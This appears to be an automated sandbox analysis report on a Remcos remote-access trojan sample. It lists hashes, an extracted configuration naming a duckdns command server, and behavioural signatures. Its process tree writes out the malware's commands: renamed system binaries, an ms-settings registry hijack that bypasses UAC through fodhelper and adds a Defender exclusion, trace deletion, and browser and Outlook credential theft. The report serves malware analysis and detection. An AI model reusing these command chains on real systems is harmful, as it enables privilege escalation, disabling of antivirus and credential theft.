Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25-07-2024 16:01
Static task
static1
Behavioral task
behavioral1
Sample
MalwareBazaar.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
MalwareBazaar.exe
Resource
win10v2004-20240709-en
General
-
Target
MalwareBazaar.exe
-
Size
1.1MB
-
MD5
2d655119c0aa977debf88758f2009729
-
SHA1
40c98ca63e9f78284cddbefddc03b6c6ad070462
-
SHA256
e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9
-
SHA512
fe96ee94b8c57c76650288eb589eb41b0430ea45597d025c1ecead87cafd75d5bb58204999ca78f736f54b26b247959d079a498784bdcb274bc159fcc4b395c8
-
SSDEEP
24576:Edd+fYkdMwkRdF36Xq5W2xnXuWmStY6mATIU:EHkvXqE2NXufB6Xv
Malware Config
Extracted
remcos
RemoteHost
127.0.0.1:45645
127.0.0.1:56765
latestgrace2024.duckdns.org:56765
latestgrace2024.duckdns.org:45645
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audio_folder
MicRecords
-
audio_record_time
5
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connect_delay
0
-
connect_interval
1
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copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-2ZXBPR
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/2420-106-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/264-110-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4052-105-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/2420-106-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/4052-105-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
ioeztdcY.pifper.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation ioeztdcY.pif Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 21 IoCs
Processes:
ioeztdcY.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exeper.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 4036 ioeztdcY.pif 1300 alpha.exe 2340 alpha.exe 1684 alpha.exe 1876 alpha.exe 440 alpha.exe 2084 alpha.exe 4108 alpha.exe 2960 xkn.exe 2440 alpha.exe 512 ger.exe 3084 per.exe 2456 alpha.exe 5076 alpha.exe 4936 alpha.exe 3840 alpha.exe 3048 alpha.exe 2936 alpha.exe 4528 alpha.exe 2980 alpha.exe 3756 alpha.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
colorcpl.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts colorcpl.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
MalwareBazaar.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" MalwareBazaar.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
MalwareBazaar.execolorcpl.exedescription pid process target process PID 3992 set thread context of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 4212 set thread context of 4052 4212 colorcpl.exe colorcpl.exe PID 4212 set thread context of 2420 4212 colorcpl.exe colorcpl.exe PID 4212 set thread context of 264 4212 colorcpl.exe colorcpl.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
extrac32.execolorcpl.execolorcpl.execolorcpl.execolorcpl.exeMalwareBazaar.exeioeztdcY.pifdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language extrac32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MalwareBazaar.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ioeztdcY.pif -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
PING.EXEalpha.exePING.EXEalpha.exepid process 3012 PING.EXE 4936 alpha.exe 3372 PING.EXE 440 alpha.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 3484 taskkill.exe 1724 taskkill.exe 4432 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell ger.exe -
Processes:
xkn.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 25 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
xkn.exeMalwareBazaar.execolorcpl.execolorcpl.exepid process 2960 xkn.exe 2960 xkn.exe 2960 xkn.exe 3992 MalwareBazaar.exe 3992 MalwareBazaar.exe 4052 colorcpl.exe 4052 colorcpl.exe 264 colorcpl.exe 264 colorcpl.exe 4052 colorcpl.exe 4052 colorcpl.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
colorcpl.exepid process 4212 colorcpl.exe 4212 colorcpl.exe 4212 colorcpl.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
xkn.exetaskkill.exetaskkill.exetaskkill.execolorcpl.exedescription pid process Token: SeDebugPrivilege 2960 xkn.exe Token: SeDebugPrivilege 3484 taskkill.exe Token: SeDebugPrivilege 1724 taskkill.exe Token: SeDebugPrivilege 4432 taskkill.exe Token: SeDebugPrivilege 264 colorcpl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
MalwareBazaar.exeioeztdcY.pifcmd.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exedescription pid process target process PID 3992 wrote to memory of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 3992 wrote to memory of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 3992 wrote to memory of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 3992 wrote to memory of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 3992 wrote to memory of 4036 3992 MalwareBazaar.exe ioeztdcY.pif PID 4036 wrote to memory of 4064 4036 ioeztdcY.pif cmd.exe PID 4036 wrote to memory of 4064 4036 ioeztdcY.pif cmd.exe PID 4064 wrote to memory of 2844 4064 cmd.exe extrac32.exe PID 4064 wrote to memory of 2844 4064 cmd.exe extrac32.exe PID 4064 wrote to memory of 1300 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 1300 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 2340 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 2340 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 1684 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 1684 4064 cmd.exe alpha.exe PID 1684 wrote to memory of 516 1684 alpha.exe extrac32.exe PID 1684 wrote to memory of 516 1684 alpha.exe extrac32.exe PID 4064 wrote to memory of 1876 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 1876 4064 cmd.exe alpha.exe PID 1876 wrote to memory of 3428 1876 alpha.exe extrac32.exe PID 1876 wrote to memory of 3428 1876 alpha.exe extrac32.exe PID 4064 wrote to memory of 440 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 440 4064 cmd.exe alpha.exe PID 440 wrote to memory of 3012 440 alpha.exe PING.EXE PID 440 wrote to memory of 3012 440 alpha.exe PING.EXE PID 4064 wrote to memory of 4040 4064 cmd.exe cmd.exe PID 4064 wrote to memory of 4040 4064 cmd.exe cmd.exe PID 4064 wrote to memory of 2084 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 2084 4064 cmd.exe alpha.exe PID 2084 wrote to memory of 4208 2084 alpha.exe extrac32.exe PID 2084 wrote to memory of 4208 2084 alpha.exe extrac32.exe PID 4064 wrote to memory of 4108 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 4108 4064 cmd.exe alpha.exe PID 4108 wrote to memory of 2960 4108 alpha.exe xkn.exe PID 4108 wrote to memory of 2960 4108 alpha.exe xkn.exe PID 2960 wrote to memory of 2440 2960 xkn.exe alpha.exe PID 2960 wrote to memory of 2440 2960 xkn.exe alpha.exe PID 2440 wrote to memory of 512 2440 alpha.exe ger.exe PID 2440 wrote to memory of 512 2440 alpha.exe ger.exe PID 4064 wrote to memory of 3084 4064 cmd.exe per.exe PID 4064 wrote to memory of 3084 4064 cmd.exe per.exe PID 4064 wrote to memory of 2456 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 2456 4064 cmd.exe alpha.exe PID 2456 wrote to memory of 3484 2456 alpha.exe taskkill.exe PID 2456 wrote to memory of 3484 2456 alpha.exe taskkill.exe PID 4064 wrote to memory of 5076 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 5076 4064 cmd.exe alpha.exe PID 5076 wrote to memory of 1724 5076 alpha.exe taskkill.exe PID 5076 wrote to memory of 1724 5076 alpha.exe taskkill.exe PID 4064 wrote to memory of 4936 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 4936 4064 cmd.exe alpha.exe PID 4936 wrote to memory of 3372 4936 alpha.exe PING.EXE PID 4936 wrote to memory of 3372 4936 alpha.exe PING.EXE PID 3992 wrote to memory of 440 3992 MalwareBazaar.exe extrac32.exe PID 3992 wrote to memory of 440 3992 MalwareBazaar.exe extrac32.exe PID 3992 wrote to memory of 440 3992 MalwareBazaar.exe extrac32.exe PID 3992 wrote to memory of 4212 3992 MalwareBazaar.exe colorcpl.exe PID 3992 wrote to memory of 4212 3992 MalwareBazaar.exe colorcpl.exe PID 3992 wrote to memory of 4212 3992 MalwareBazaar.exe colorcpl.exe PID 3992 wrote to memory of 4212 3992 MalwareBazaar.exe colorcpl.exe PID 4064 wrote to memory of 3840 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 3840 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 3048 4064 cmd.exe alpha.exe PID 4064 wrote to memory of 3048 4064 cmd.exe alpha.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Users\Public\Libraries\ioeztdcY.pifC:\Users\Public\Libraries\ioeztdcY.pif2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\CBAD.tmp\CBAE.bat C:\Users\Public\Libraries\ioeztdcY.pif"3⤵
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"4⤵PID:2844
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "4⤵
- Executes dropped EXE
PID:1300 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"4⤵
- Executes dropped EXE
PID:2340 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"5⤵PID:516
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"5⤵PID:3428
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3012 -
C:\Windows\system32\cmd.execmd.exe4⤵PID:4040
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"5⤵PID:4208
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""7⤵
- Executes dropped EXE
- Modifies registry class
PID:512 -
C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
PID:3084 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3484 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1724 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3372 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"4⤵
- Executes dropped EXE
PID:3840 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"4⤵
- Executes dropped EXE
PID:3048 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"4⤵
- Executes dropped EXE
PID:2936 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:4528 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:2980 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe4⤵
- Executes dropped EXE
PID:3756 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmd.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4432 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF2⤵
- System Location Discovery: System Language Discovery
PID:440 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\System32\colorcpl.exe2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
PID:4212 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\uzpddntoxenvulwootg"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4052 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\etcwegeilmfaxrksxetnin"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2420 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\ovioxyojzuxfhfgeppnpssthz"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:264
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:3892
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
146B
MD5e1c3bcfa348ea7871397a9e1cd4c7740
SHA11f81a8184787e30791904e7198f3b6a294792484
SHA2564cb196b5b1b2776b6b6c06c24c017f2ea6a4abc2cd6e7d309691c836a0a1d005
SHA512e9537a3ac98e1200c7f2c40377c5c02b6d0ba8434ea407dd9cd0633607894db89e99f25c8adc3cc55cf9e2a6cbae64013e915ac8c8f18470a1b6e11506f75db7
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Filesize
1KB
MD554147a112fd4c4fffbdeb2eeab926f59
SHA17f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA51220c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD560e30555becdb968406edb87fff512ef
SHA165551417f6371c40e6d5dab38fe87ab634f9446e
SHA2569e347aa1a363532c72d7728abe1afdc48b9418fae8cbf8bcbc50c9c22dfefa57
SHA512cbe1aebf171b54f481028208aa85fb04145cc40772cc30e67107caa5cc70c73f274da362766f125093c1fab1416c687744e53e0f7c30b6ead866c6f6ba671449
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Filesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
